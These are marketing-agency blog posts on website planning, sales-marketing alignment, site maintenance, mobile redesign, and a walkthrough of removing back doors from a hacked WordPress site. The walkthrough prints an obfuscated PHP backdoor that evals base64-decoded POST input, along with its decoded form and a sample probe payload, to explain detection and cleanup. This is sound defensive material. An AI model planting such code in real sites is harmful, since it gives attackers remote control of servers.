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11 Essential Steps for Creating Your New Website Design

Tue, Sep 13, 2016 @ 10:00 AM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Cincinnati Marketing Agencies, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Featured, Web Design

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Website Design Directions SignThough our Cincinnati web design agency tends to advocate repairing and improving cheap, DIY, outdated, or otherwise bad websites wherever and whenever possible, sometimes a new website build or complete website redesign is necessary.

If your company is new to the web, or if your business has a new website to build, it is important to have a solid web design plan in place before moving forward.

If you are hiring a web designer or web design company to do the work, pre-planning can still save an incredible amount of time and frustration, and guide the process toward having the best results from what will likely be your company's most important sales and lead generation tool for years to come.

In this post we'll outline the best process to build a great website with the best marketing potential.

Top most important steps toward designing your new web site:

Buyer Personas for Website DesignBad: "Elmo Haletosis Dinglefaartz the IIIrd: drinks lots of gin, and wears an eyepatch. Hates hayrides and squirrels."

Good:
"Inigo Montoya: Parking lot mogul and CEO with properties in Cincinnati, Covington, and Newport. Has purchased 15 demolition sites in the downtown area and is looking for concrete to pave them with. He does not want to interact or commit at this time, just wants basic questions answered." 

Step 1: Buyer Personas - Know your website's ideal visitor

It is easy to go down the path of designing a website for the company itself. Many designers go into web design projects with the company's image or even their own portfolio in mind first, and already in great danger of turning the website into a very expensive vanity project for the designer and company alike.

In this case, let's imagine a Concrete company whose website boasts that they are the greatest, oldest, and biggest in the area. They have lots of pages on CEOS, CFOs, pictures of big trucks and big projects, and are wondering why the site fails to generate new leads and customers.

While it is important to impress and even dazzle visitors, it is more important to consider the ideal visitors' primary needs. Knowing what will bring your ideal visitors to your website, knowing what information they'll be seeking, knowing how to inform and how to boost confidence, having a plan to help them them become satisfied customers should be the primary focus.

Imagine these ideal customers, give them names, ages, likely job titles, unique needs that brought them to you - and write these down. You are done. These are your buyer personas, and you are ready for the next step:

Guide to Creating Buyer Personas for Business by Lohre Marketing & Advertising, Cincinnati

Step 2: Consider the buyer's journey, and draw them a map

not a good web site map
Not a very good map for your website

Put yourself in your buyer persona's shoes. Consider what problems they came seeking solutions for, what questions helped them find you, how you might help them. Realistically define the process. Is your solution one that might require days, even months of decision-making, or a fast and easy choice? Having buyer personas in mind, allows you to map your website accord to their needs.

You might ask yourself these things:
  • How will I attract my buyer persona?
  • What information will I need to qualify them as leads?
  • What solutions will I need to provide them in return for this information?
  • What further interactions will encourage them to change from leads into customers?
  • How do I make those customers into return customers?
  • How do I encourage them to give great reviews and word of mouth promotion?

If you have answered all of these questions in detail, congratulations - you've outlined your marketing path, and sales funnel.

a very bad website design marketing funnel
This is not a very good sales funnel for your website. Chances are you will not be allowed to put people into actual funnels, or to feed them to bees.
a basic, bland, and vague and useless web site marketing funnel
That's a little bit better... in a very generic and vague way. Show that you really have a plan for this specific site, for this specific business.
web design online marketing funnel
Try to design your funnel specifically for your website, not just *any* site. The funnel could demonstrate a strategy for an entire site or a business - but most often, it will center around only one primary offer.

 

Step 3: Outline and Flow Chart

web-design-outline.pngOutline: Be thorough. Think how many pages and subpages deep this website will need to go. Also be sure to consider landing pages, which might not fall into the base hierarchy of the site.

An outline ensures that content flows in a way that is convenient and helpful to the average visitor. It also helps you to think of the process, and what content the process will require. You may find that you need more pages than you thought, but you might also find pages that can be ommited, or can be combined into one.

I recommend working on this outline in a word processing application, or anyplace where you can easily edit bulleted lists within bulleted lists.

When done, you have all you need to create a basic flowchart. Flow charts are simply graphical outlines for people who prefer flow charts over outlines (most people). Since this is mostly to illustrate how one could go from one page to the next, you don't need to get very fancy with it - blocks and lines will do (like the very simple web site flow chart to the right).

If however everyone involved is familiar with process flow chart symbols, you might want to go a step further and make an actual process flow chart ( https://support.office.com/en-us/article/Create-a-basic-flowchart-f8e57ca2-0c24-4760-bc2e-8812d7310c6a )

Step 4: Block it out.

web-design-board-f.pngOutline: Be thorough. Think how many pages and subpages deep this web site will need to go. Also be sure to consider landing pages, which might not fall into the base hierarchy of the site.

Before doing any graphic design, you need to know how the web site and its elements are going to work together - how they are going to present information, which elements need to grab attention, how, and why.

I like to use a styrofoam board, pins, string, construction paper, and multi-colored Post-its on an open wall or large corkboard. A large table will however do, but is not as fun, and you will probably need that table for other things before the project is completed. Don't worry now about how the website will look. Think instead about how layers will interact or be animated, where slideshows or movies might go, whether sidebars will exist and where, the function of the footer, which pages might have forms, and how they are to be presented.

Use your content outline as a guide. If you have already selected a CMS and templates, you should also consult those from time to time. Content in this stage, might be as simple as sticky notes that read "colorful image to illustrate B2B", "bulleted list with types of advertising", "CTA: View our helpful video!", or as advanced as photos and printed paragraphs.

Chances are you might eventually need something more portable than the crime wall or office table. If so, refine your flow chart based on the work from this stage, print it, and print numbered pages to correspond with each block. These pages and their content should reflect the pages on your wall.

Step 5: Software selection

By now you should a good idea what sort of CMS you will need for your web design project, as well as what you will need plugins and add-ons for. If you are not designing from a theme you have previously made, and don't plan to build one from scratch, this would be a good time to choose a theme to build from. This is also a good time to search the web for compatibility issues between software, themes, and plugins.

If the company has graphic standards established, they'll likely require a specific font stack for their website design. Make sure the needed fonts are available as web fonts, and know how much they will cost.

If the company does not have graphic standards established, this is a something you should discuss. Make sure that creating a corporate identity package is in the budget, or that graphic standards will be available by the time design work begins.

You now have a good idea of how the web site will function, know what software you will be using, and that there no known conflicts between. You also know that everything you are proposing to do can be done, how to do it, and have factored in outside costs.

Step 6: Mid-project meeting

this website meeting actually should not be an emailNo Skeletor, This meeting is not one of those. This is actually a great place to be and a very exciting time... halfway to launch!
Source:
memegenerator.net

If you are designing this web site for others, or need to consult with your colleagues, this is a great place for a mid-project meeting.

You've got a lot of information to share and things to discuss before moving ahead, perhaps too much. You can't cover everything here, but what is covered here will be shaped by the priorities, concerns, and schedules of those involved.

You have firmly established purpose, goals, needed software, server requirements, page count, content needs, new challenges, and additional costs. You also have a flow chart that serves as a map to build and design the site by.

This flow chart serves well as an itemized list of textual and graphical content needed for the site. You, the client, or your marketing team should begin creating and collecting the content needed for the completed website - Encourage them to tell their brand story, and to gather and create strong images to illustrate that story with.

Step 7: Installation, Setup, and Testing

website-hosting.jpgSome web designers would jump to the design stage before this, and if you are designing for others you may at least have been asked to make graphical mockups in order to get this far.

If you have that option, get everything installed, behaving properly, and at least semi-configured before wasting everyone's time on preemptive design. Hypothetical appearances tend to die horribly from compatibility issues, and actual needs.

If you build in a folder on the site's intended server, and test it, you will know that the site, and plugins work in that environment. This also gives you the ability to design in place, directly working with the actual product of Javascript, HTML, and CSS that the server-to-be will assemble from the CMS, plugins, and themes you chose.

Step 8: Framework

By the end of this stage, using your outline, you should have a good working website with all navigation working, and all proposed pages created. These pages are likely populated with lorem ipsum and placeholder images at this point, and that is okay.

Step 9: Basic Graphic Standards

This is a mini-stage before adding content. At this stage, we are still not out to create any more design elements than we absolutely have to, but we want a good idea of what our content will look like in order to improve upon it, and to design for it.

Whether you are working from an existing theme, or you started off with a structure that was devoid of any styling at all, this is a small stage where you should change colors and fonts to meet with the company's graphic standards, and remove styles and graphical elements that would compete with this branding.

Finish this stage by adding the company logo, preferably in .SVG format (Scalable Vector Graphics) so that it looks its very best at any size or resolution.

Step 10: Populate!

What? Still no design? Are you crazy?

Realistically, yes, but also consider that you already have a lot of finished design at this point:

If you have branding, you have fonts, a defined color palette, and a logo. You also have your crime lab-style layout from step 4, meaning that you have the user interface mostly planned out. You also know how navigation and pages will work together as a story to guide your visitors through the website.

If you were able to make it to this stage without submitting graphical mockups for revision, revision, and revision of purely-hypothetical concepts, you have an opportunity to think ahead about graphical styles and touches here, and are a very lucky designer for it. If your job is design only, hopefully you've been given content by this point, if it isn't you should focus on your content creation before proceeding.

Add in all of your text with only general styles (h1, h2, h3, p, br, blockquote, etc.), use placeholders in place of images, use bootstrap rules for your general layout so that all elements of fractional widths behave uniformly and responsively. I'd recommend skipping on internal links at this point, else you'll have to remember which content you were and were not yet able to assign internal links to.

Be sure to consider SEO in your choosing of permalinks as you go. This is easier to do now than to correct later. Don't obsess on this if it slows you down though, you can always correct with 301s if you have to, and/or a good find & replace job if your website's structure is data-driven.

Step 11: FINALLY! Design

This is not the stage where design typically happens, but it is the stage where design *should* happen.

Previous ideas and mockups here would have served more as constraint than inspiration. Making the functionality of the web site mesh with designs made information was gathered and framework, would be much like hammering a non-euclidian peg into a two-dimensional hole.

If you are like me, and have reached the point where working with CSS and HTML in place is much like, even easier than laying out a design in Illustrator or Photoshop, then you will likely be doing the bulk of your web site design with your text editor of choice and an FTP client, while keeping Photoshop, Illustrator, and/or GIMP open for making textures, creating graphics, and editing photos.

However you do your design work, having not spent too much time on graphics up to this point, allows for much better use of time every step of the way, and for a web site that is the product of inspired design, not remedial design.

Step 12: Web Site Design Never Ends

You should be constantly testing, refining, improving, and expanding your site. Beyond testing initial functionality of your website, testing such as A/B testing for different landing pages geared toward different buyer personas is a good place to start.

Blog often, and every time you return to your site, try to think of one small thing to improve on a page or the site itself. If you mark what you changed and when you changed it, you might be able to track these changes against web traffic or visitor behavior.

Always remember: Websites that aren't growing, are simply dying.

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AdVenture Explores the Industrial Marketing and Sales Relationship

Fri, Aug 19, 2016 @ 03:17 PM / by Chuck Lohre posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Advertising Design, Cincinnati Marketing, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Web Design

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(This week's guest post is from Scott Costa, Publisher, tED magazine. We weren't able to go to AdVenture this year but it's the best industrial marketing conference for the electrical manufacturing and distribution industry. Our Creative Guide is from a presentation we gave at 2004's conference.  We just got the 8-19-2016 NAED eNews with this article featured.)

The 2016 NAED AdVenture Conference brought together about 140 marketing professionals in the same room.

And one sales professional.

Industrial Marketing bla bla bla

John Lorince from Leff Electric was in the company's marketing department, but moved to an outside sales position. His presentation drew the most questions and comments of the entire AdVenture Conference. By far. 

There were the obvious jokes about sales people being from the "Evil Empire" or "The Dark Side." But Lorince really put a lot of what marketing does into perspective by saying, "Some of what I thought was important, wasn't," when talking about his time in the marketing department. He also asked the marketing crowd how often they go on sales calls, and the answer was an overwhelming "once in a while."  Lorince believes it should be more than that. On the flip side, you have to wonder how many times a salesperson attended a marketing meeting or conference. Perhaps joining the two groups together a little more often would help bridge the communications gap.

Lorince added that it is extremely important for the marketing team to treat him like the customer. "Sell the products to me, so I can sell them to someone else," he advises. He also said he appreciates it when a member of the marketing team makes quick visits to his office to work with him on sales or special pricing, because in the long run it will make his job easier.

Lorince did a great job of providing a series of tips to the marketing people at the AdVenture Conference. So great that, before he finished, he was asked to mark his calendar to come back next year and address the group again.

His speech is really a great start to a very old problem. On one side, you have a marketing department that is using research, product knowledge, and concepts that set buying your products apart from the competition as an advantage. On the other side, you have sales people using research (like past history in successful selling), product knowledge, and concepts for setting himself apart from any other salesperson from another company to use as an advantage. So why are the two departments so far apart?

I tracked down some quotes from experts on B2B practices outside of electrical distribution, to find where they are seeing failures between marketing and sales. They are worth reading to see if you are experiencing the same situations. For example, Stephanie Tilton of Savvy B2B Marketing says, "Many corporate cultures don't support a meeting of the minds between sales and marketing. And without the support of upper management, any valiant attempts to close the gap will fizzle out. Whereas marketing often revolves around a campaign schedule, sales is sweating to meet quota."

Jennifer Beever or New Incite believes the problem between sales and marketing is traditional, and that tradition needs to end. "Traditional departments operate in silos, with each performing their function but not interacting with others. On one hand, too many marketing departments believe they need to operate autonomously, with input from sales. On the other hand, too many salespeople take a ‘maverick' approach, and don't give marketing credit for generating leads," Beever says.

This is an interesting topic, especially as we are seeing significant changes to our supply chain, including innovative new products being launched and the significant impact mergers and acquisitions have already had on our distributors and suppliers.  We have assigned our writers to take an even deeper look into this, and tedmag.com will be building stories to help you bridge the gap between sales and marketing.

We also hope John Lorince accepts the invitation to come back to AdVenture next year. We can all use more insight from people like him.  Maybe he can get even more salespeople to come with him.


Contact us today for a free, no obligation consultation.

Strategic Content Creation Handbook by Cincinnati Advertising Agency, Lohre & Associates

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Why Great Web Design & Web Development Never Ends

Tue, Aug 16, 2016 @ 10:00 AM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Advertising Design, Cincinnati Marketing, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Featured, Web Design

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Your new web design or web development project is finished... or is it?

Web Design GraphicIn a sense, maybe your web design or web redesign project is coming to a close. You've covered everything that is within scope, satisfied every need that was laid out in the project planning, web design quote, or purchase order. The end of project meeting answered all remaining questions, employees were trained on how to use and manage their new website, and it looks like you can call this a job well done and *finally!* launch your new corporate website.

From here, ideally, your new site will impress visitors, generate new leads, make sales, and yield much better search results. You finally have a site that is well-optimized for search by today's standards, including being responsive/mobile-friendly. You even made sure to make it a secure (HTTPS/SSL) site.

Yep, your site is completely, at this very moment, modern and will serve you well for 2 to 5 years, until you need to completely replace it again, as business from the site begins to slow, and visitor counts dwindle...

and when that time comes, you may wonder...

"Our last web design is only a few years old, why is this happening?"

Here are some of the most common reasons a great website can fail over time:

Website Missed Maintenance Issues:

Like all business equipment, from large industrial machinery, to company cars, to copiers, websites need to be maintained to retain value. Most companies wouldn't let their vehicles go a year without changing the oil, but many companies allow their websites go to seed, creating a cycle of time and revenue lost for need of emergency patches, leading eventually into the need for a complete replacement.

  • Regular maintenance can help keep your site up to date with today's SEO standards. It is much harder (and more costly) to recover lost search position than it is to maintain and improve the ranking of your web site. Losing revenue all the way up to that point makes this decision even less affordable.
  • Regular maintenance can defend against hacks, malware, blackhat SEO and other factors that might harm your ranking. Regaining ranking after your web site loses search placement and is indexed with a "this site may be harmful to your computer", is often extremely difficult, and costly. Regaining placement lost to spammers and black hat SEO is also difficult.
  • Regular Maintenance can keep your web presence in all available markets. As new devices are created and released, as monitor sizes increase or shrink, as screen resolutions become sharper, as internet speeds increase, as devices from servers to smart watches become faster - you should want your web site design to be accessible to as many people on as many devices as possible. Regularly look in on your website, from multiple devices, and try to always consider devices that you may be leaving out.
  • Regular Maintenance can allow you to detect and fix broken links, broken contact forms, and other lost functionality before you lose business from it. Sometimes web hosts upgrade their software, or tighten up their security. This can cause a site to break. You do not know the web host made changes to the environment. Your web host does not know that your site or some part of your site broke as a result. Often, by the time a potential customer contacts a company about a broken website, or broken web page, weeks, even months have gone by. In this time, hundreds of other visitors have simply gone elsewhere. The question "How long has this been broken?", can lead to revelations about business slowdown you do not want to have.
  • Great sites come from evolution, not as pre-packaged solutions. Fully replacing an old site can be necessary if too much time has passed since the last time it was worked on, but the best very sites are sites that are regularly retuned and refined to keep up with current needs and standards. You invested a lot of money in your new build. Maintenance could mean no more major rebuilds, less cost over time, and much better results.

 

example of a fully mobile responsive design for all devices
Example of a website designed for widescreen, desktop, laptop, tablet, and cell phone.

 

Website Disuse issues:

Inbound Marketing is one of the most important aspects of good Web DesignThis mistake, in recent times of Wordpress and other types of CMS (Content Management Systems) being the standard, in more-recent times of search providers giving preference to regularly-updated sites, can be just as harmful as the former. As even the best equipment can become rusty when negelcted, so can your web presence.

  • Regular content updates help your search presence and can help your site-wide keyword saturation. Google, and other search engines prefer sites that they know are being maintained. Fresh content shows Google that the site is an actively growing site, not an abandoned site that is only still living because of pre-paid hosting, or that someone forgot to pull the plug. Since people who are searching are most-often in search of up-to-date information - search engines try to search up the most up-todate content and web sites.
  • Regular updates can extend the size of your site, and build its footprint on the web. Whether you are blogging, adding new pages, or extending the content of existing pages (perhaps breaking content up into more subpages), you are gaining more chances to be indexed and seen, building keywords for your site, expanding the size of your net.
  • Stasis is death. While your site is not growing - your competitors sites may be. Worse: while you are failing to build new links to your site, you are most likely losing links as well. Backlinks are still the number one factor in determining search ranking. As sites, pages, and articles that were linking to you disappear, are edited, or are archived, you are losing inbound links. Companies that are regularly building links tend not to notice, but when you stop building, these losses are hard to ignore.
  • Disuse IS Misuse. If you are not using your website as an effective marketing tool, it becomes only about as handy as a business card or a listing in the whitepages. If customers need to already know you exist in order to find your web site, you might as well be sticking to brochures and pamphlets. A good inbound marketing campaign identifies visitors, turns visitors into leads, and nurtures leads into happy customers.
  • Without a good marketing plan, clicks and visits are merely numbers. Purchasing ads online and in print are great ways to bring visitors to your site. Mailers, magazine advertising, eNewsletter advertising, directory placements, technical articles, and advertorials are also great ways to drive traffic. If you are doing these things, but have no marketing strategy and no marketing automation in place for your website, you are simply wasting your advertising dollars and efforts.

If your company does not have its own marketing staff, if you do not have your own staff of net technicians, web developers, or graphic designers, Lohre and Associates can help with your short term or long term marketing and web development needs.

If you would like to save money on coordinating advertising efforts between multiple advertising and marketing services, Lohre and Associates would love to help. As Cincinnati's full-service industrial advertising and marketing agency, we do it all.

Contact us today for a free, no obligation consultation.

Strategic Content Creation Handbook by Cincinnati Advertising Agency, Lohre & Associates

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Redesigning a Website to be Mobile-Friendly on a Budget

Thu, Jun 09, 2016 @ 03:02 PM / by Myke Amend posted in Industrial Website Design, Website Design, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Cincinnati Advertising Agencies, Advertising Agency, Web Design

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Website Redesign Does Not, Should Not Always Mean Replacement:

We all know how increasingly important having a mobile-friendly website has become to search engine placement, but for many reasons, a company might not be ready, or able to do a complete overhaul of an antiquated website or website design.

I am going to go over a few ways a company can hold onto the site they have (as well as a few reasons they might want to) while quickly and inexpensively bringing their site into the 2010s with mobile-friendly styling.

Common reasons not to upgrade a website:

  • It is not in the budget: This might because money was already recently put into a new website design, or that the ideal and perfect website for the company will require more capital than is currently available.
  • There isn't time: Funding aside, major web development tends to require time from the client for gathering promotional literature and other collateral materials, approving designs, flow charts/site maps, discussions on what the new website should be able to do. When it comes to building a new website, some level of collaboration is necessary.
  • Google and other search engines really like old sites: It is true that the older a website is, the more reliable the website appears to search, but one must also consider that regularly-updated sites are also favorable. The perfect mix, we've found, is having a site with an old domain, and regularly updating it.


Rome wasn't built in a day - Good websites also take time.

The very best sites are not made in a day, or even a month - The best websites are the product of years or more of regular updates and upgrades, close attention to not creating broken links in the process, and minor design improvements made regularly. This is especially true when it comes to SEO.

Coming from an artist who has spent over 20 years as a web developer, over a decade more doing graphic design, and an entire lifetime creating fine art: There really is something to be said for works that have had a lot of time, passion, and care for detail put into them. This level of attention to detail does not happen with purchased templates, it does not come with even the largest budget for website redesign. Sure, it can begin there, but the very best websites come from many, many minor changes.

As important as it is to regularly update your CMS (content management system) software, update plugins, check your site's and servers security, check for broken links, create new blog posts, create new pages, create other content, check directories and other inbound links - making regular minor changes to design, function, and architecture is what brings a website ever-closer to perfect.

"Minor changes"?? Making our website mobile-friendly is a huge undertaking!!

It is easy to think this. Your site might have a lot of pages... hundreds, even thousands. You might even have several different templates for several different types of pages within your site. Your site might even be built on an older/outdated CMS, a long-extinct version of one, or something completely proprietary and unsupported **

Regardless of the type of server you are running on, whether your pages are php, asp, HTML, regardless of what CMS you are using or how old your site is, the end result is that all web site pages are outputted as some sort of HTML, the language a web-browser reads to present a web page for your viewing, and all HTML is, or rather should be formatted with stylesheets - which are all some form of CSS.

Restyling/Redesigning the website to work well with mobile from here is mostly a matter of adding of taking these steps:

  • Adding the viewport meta tag to the header is the first thing I do: Re sizing my browser, I can see how the site and its pages are going to look at different widths, but for a lot of mobile devices the site will not present the same without this tag, which can be easily forgotten.
  • Use media queries within the css to make the web pages and their elements behave differently at different screen sizes: This is mostly a matter of making sure all elements (images, layers, paragraphs) have a max-width of 100% or less (including their margins, borders, and sometimes padding), and that their contents will not overflow those boundaries (by declaring how to treat overflow).
  • Make sure things fall properly into line: Images, layers, and paragraphs ideally should, most-often each take up the full width of a mobile device. I tend to make elements expand to this size, then add  "clear: both" and "float: none" to their styling.
  • Make sure they fall into the proper order: Things that were floating left end up above the elements that were to their right, this is not always the best order for viewing. Sometimes element a, b, and c need to be read top-to-bottom as c, b, and a. To address this, I tend to go the Flex/ Flex-flow/Order method, but this and a number of other methods are covered in this stack overflow thread.
  • Make a simple mobile menu/thumb menu: You need only use CSS to do this. A very simple drop down thumb menu can be found here, on Medialoot. Sometimes, especially if there are few pages, it is even more simple. For both Dynamic Industries (large scale machining) and Vertiflo Pump Company (vertical submersible centrifugal pumps), I didn't even make a thumb menu - I simply made it so that menu items fell into new rows, evenly, and gave them a layered tab appearance on mobile devices.

Mobile-friendly Website redesign for Dynamic IndustriesMobile-friendly Website redesign for Dynamic Industries

Above (left and right) The pages of this standard HTML site were given a mobile-friendly re-design through simple CSS styling changes. A mobile menu was also added simply by re-styling the existing links/navigation

Foreseeable difficulties:

For a lot of older, really older sites, or for sites that were designed by people with limited design knowledge, or no design knowledge at all, these are some common snags run into:

  • The website, site pages, or site content were created in MS Word: The result of this is a massively huge file, horribly coded, and especially badly-coded for trying to restyle with CSS. There is a large amount of proprietary code in there, and unique styles are applied to most every element, if not each and every character. There are a number of ways to clean this up, I am not going to recommend any of them in particular (but advise you try several of the free ones first).
  • There is no CSS style sheet, and there are no CSS styles applied: Actually, often this is even better - it means that you will not be fighting competing style declarations and addressing most things element by element. CSS will override HTML in most cases (unless there is inline CSS). Just attach a stylesheet to the pages or template and work from there.
  • There are inline styles for a number of elements or for every element: I really hate to use it, but if a very object-specific CSS declaration won't do, you can use "!important" at the end of your declarations to override these. Use them sparingly. If all else fails, any good text editor with "find/replace" can possibly be used (locally) to remove these as you find them. If these inline styles are used within post and page content, a good find/replace plugin might be available for your CMS. If it is Wordpress, I use "Better Search/Replace".
  • Tables??... who still uses tables?? A decade after most designers should have stopped using them, they are still a fairly common thing. Sometimes, they are even necessary... at least until Mozilla Firefox starts handling flex correctly. Though tables are something to be avoided for layout, they are still handy as far as what they were intended for: Displaying specs and data. Generally, if tables are used to layout content, I break them apart with "display: block; overflow: hidden; float: none; clear: both;" and then work on the styling from there. Since a majority of our clients are Industrial, and more specifically: in the process industry tables filled with data are pretty common. I use CSS to break lines and to rotate the table headers at smaller sizes, like so (LEFT/top: normal website view of the table, RIGHT/bottom: Mobile website view of the table):

Website Design: Table Rotation example 1web-design-table-rotation.png

 

So... Why are we doing this again?

1. Search engines now favor mobile-friendly websites.

2. Content that is mobile-friendly reaches a wider audience/is more accessible.

3. Content that is mobile-friendly is more likely to be shared, if only because of the wider audience provided by being mobile-friendly and having better search placement.

4. It is actually not as hard as it might seem:

I know it might seem like a lot of work, all of these steps might not be necessary, and taking these steps could get help your website by in the mean time, and possibly for a while - maybe much longer if the website is regularly kept up to date with internet standards. It is also often easier, and more cost-effective to maintain a website than it is to completely replace it. Making your website mobile-friendly will put you back on the right path.

These changes, are changes that should be applied over a handful of days, and improved upon as time goes by. If you do not have a web designer who is capable of doing this in this time frame, we'd be happy to help - Just contact us.

Making a website mobile-friendly is very important in that Google and other search providers use this as a standard when giving search placement. If you also consider that an increasing amount of website visitors are using cellphones or other mobile devices, and that this portion of visitors and potential visitors is fast-becoming the majority, you know that not having a mobile-friendly site is like being on only a very small portion of the internet. It is not a very nice thing to do to yourself, your company, or all those who might wish to be connected with your product or service.

 

 

 


** In the latter case: Yes, I would suggest some sort of overhaul - because any CMS or plugin version even an hour old might have some exploit or other vulnerability that will end in your site being loaded with malware and pharmaceutical ads, if it is not already. I won't go into that here, You can read more about that here, for the sake of this article I am going to assume your site is secure and sound against these things.

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Removal of Back Doors from a Wordpress or other PHP-Driven Site

Wed, Apr 20, 2016 @ 03:09 PM / by Myke Amend posted in Website Design, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Design Agency, Advertising Agency

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Occasionally, when we are working on a new client's website, whether that is redesign, minor changes to make it responsive/mobile-friendly, repairing a broken site, or moving it over to our hosting, we'll run across a few previously-unknown issues. Actually we've come to expect this.

When people leave their old hosts or developers, there is usually a reason. We've had clients come to us with sites that were patched together to operate in substandard environments, and sites built on CMS that are no-longer supported - patched together over the years to operate in standard environments to the point where there is more patch than there is software.

We also tend to gain clients who want their site hosted someplace where their site is not one in a few hundred, or one in a few hundred-thousand sites hosted. They can't afford for their site or email to go down, and to go a day without notice.

Sometimes we're just liberating a client from a pointlessly expensive or otherwise problematic situation.

This is a story about in many, many site moves of this past year.... all of them interesting in their own way, but I took some extra time out to document this one...

Before the Big Move

Generally, if their site is not working - I'll try to fix their site before migrating it over. I'll at the very least update the software and run a security scan before downloading and exporting. In some cases, however, where the server/host is the problem, the site cannot be worked on in place.

How to be a Bad Web Host: Taking the "Control" out of "Control Panels"

A new client of ours had a website that had suddenly stopped working. When I took a look at the control panel, well... first thing I found was that I did not like the Host's control panel - it was a proprietary mess, laid out horribly, very limited in functionality compared to most, and many of these functions did not work at all. Another thing I found was that the client's files were still there and intact, just that PHP processing had been turned off for the entire site.

Typically, when a host just turns functionality off for a site, it is a pretty-good sign that the site has been hacked, or is otherwise misbehaving. Hosts will switch off/disable infected sites or sites that are causing issues with the server, but... one would hope that if they switched it off, they would have noted why. In this case they didn't email the customer to tell them that they disabled this site, one the host was still billing for. I suppose making notes was also just too much work, because they apparently had no idea why it was turned off, and non-ceremoniously turned it back on.

By the time they managed this, I had already downloaded the site, and exported the database, but it was good to have the site working again while we went through the process of transferring the domain. When I ran into some problems with the domain administration in their control panel not working, I read up about the host. From there I knew was going to be a very and slow painful process... which it was. I think the former host's only strategy for keeping customers is to make it very hard, near-impossible for customers to get away.

WITH ICANN, YOU CANN

Having mentioned my willingness to go through ICANN to make the switch happen, suddenly we had cooperation and the domain was unlocked. I still had to wait another 7 days for the former host to not contest the final transfer, because of course they were not going to use their energy to approve it - but that gave me a little time to set the site up in its future home.

By then, I had already created a new database, imported the tables, set up database users, set their permissions, pre-configured the domain pointing, and uploaded their site so that everything could be perfectly in place when the domain switched hands.

Watch Where You Put that WebSite - You Don't Know Where it's Been!

Since the hosted site was not working on the server when I downloaded the site and exported the database, and I hadn't the chance to upgrade the software or run a security scan, I decided it might be good to look through some of the files before the site went live. Looking for possible backdoors is pretty important at this stage, because we definitely don't want to bring those over to our server.

When doing this, hunting for back doors in-particular, one would think the easiest solution is to look for the most common signature: Base64_decode, but as you see below (what I found on the old site) - this is often scrambled like a sunday morning word jumble, strtolower is used to select characters from the jumbled letters in the first string into commands.

PHP Alphabet Soup

How this word jumble works is to use the help of the command 'eval', to make this:

<$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n764b3b'])) {eval($s21(${$s20}['n764b3b']));}?>

become this:

if(isset($_POST['n764b3b'])){eval(base64_decode($_POST['n764b3b']));

With this in place, a bot or hacker, can send parameters through HTTP POST such as: n764b3b='ZWNobyAnMW9rMScuIlxuIjtleGl0Ow==', which becomes: base64_decode('ZWNobyAnMW9rMScuIlxuIjtleGl0Ow=='), which becomes: 'echo '1ok1'."\n";exit;'

Now whoever has sent this command knows their exploit is in place, because instead of the page they are 'visiting' is a blank page that just says "1ok1".

This allows them, and others know that they can send pretty much any command they please through your site. This can include writing new files, using your mail server, any number of things, but any number of these typically ends up in damaging your domain's search reputation or your domain's email reputation. In most cases I've found SEO Spam (mostly Pharma Hacks), Malicious Redirects, but in some cases I have found Malware Delivery Systems, Attack Site or Referrer Spam automations, Phishing Pages, and Email forms to send Spam by. Wordfence covers that list very well here.

Searching... Seek and Destroy!

When searching for more instances of this infection, you could do a search for the whole PHP script - but you'll likely only find the one infected page that way, the one you are already viewing. There could be hundreds of infected files in root folders, upload folders, theme/template folders and many other places.

In some cases, the original word-scramble string changes order and often name and the order in the strtolower command changes accordingly, and there could be twenty to a hundred parameter names for the the hacker to use on your site. In others, the variable names change, or there are multiple parameters that can be passed to the site (a different script for each one).

There are ways through SSH to use commands such as 'grep' to seek and replace this section of code out with wildcards. It can be handy in a pinch, if your host allows you this level of access, and if you formulate your command very well. Otherwise: in one shot you could accidentally remove many important lines of code from many important files across your domain; You could also end up leaving snippets of code in place that also end up breaking the site. The linked example is a how-to on fixing an infected Drupal site, but the same technique could be used for just about any CMS. Of course if you have a Wordpress site that is up and running, and can install Wordfence, that is one of the quickest ways to find and remove these infected files.

One downside to working on the site in place on the server, is that backdoors could be exploited while you are fixing the site. Missing just one could put you right back in the same place again weeks, days, minutes later. If you are using Wordfence - just do a new scan after you fix the infected files and you should be fine. If you are seeking out the files and changing them by hand, you should download the site and edit files locally. You can upload the fixed website in place of the infected one when done and know that no new files were infected while you were working.

When doing this, I tend to start by searching for 'eval' - it'll bring up a number of false positives, because eval is fairly-commonly used, but it will also bring up all the infected files for this type of infection. Once you've found all these files, then look through those files and look for commonalities in the infection other than 'eval'.

A Common Thread... or Rather String...

In this case, I found that all of the infected files did use two common string names: $s20, and $s21. Both are present in all instances, so I only needed to look for $s21 from here, and this filters out all of the false positives.

Finding Malicious Scripts in a Hacked Website with Dreamweaver, similar Web Design / Web Development tools

Above: Searching an entire folder with the "Find All" command (do not do "Replace All"). This will open all files infected. You don't need an expensive WYSIWYG, but it is nice to have this one. Any open-source text editor with a Find/Replace function should do. If you are looking for an open-source WYSIWYG, such as Brackets, that should also do.

I found around 40 files that were infected, so I just opened them all and cut this line of code out by hand. If there were more of these, say hundreds (which I have found before) - I'd have put the site into a test/quarantine server, and used SSH to search and replace.

Of course when sites are in Wordpress, there are a lot of shortcuts you can take when fixing by hand, which come down mostly to where the infections reside:

  • If the infected files are mostly in "uploads", one can delete all the php files found in that folder and subfolder, and put a blank "index.php" file back into each folder. There is no reason php files should be in this place. Searching this folder on your mac or pc means just being able to highlight all the found php files and delete them.
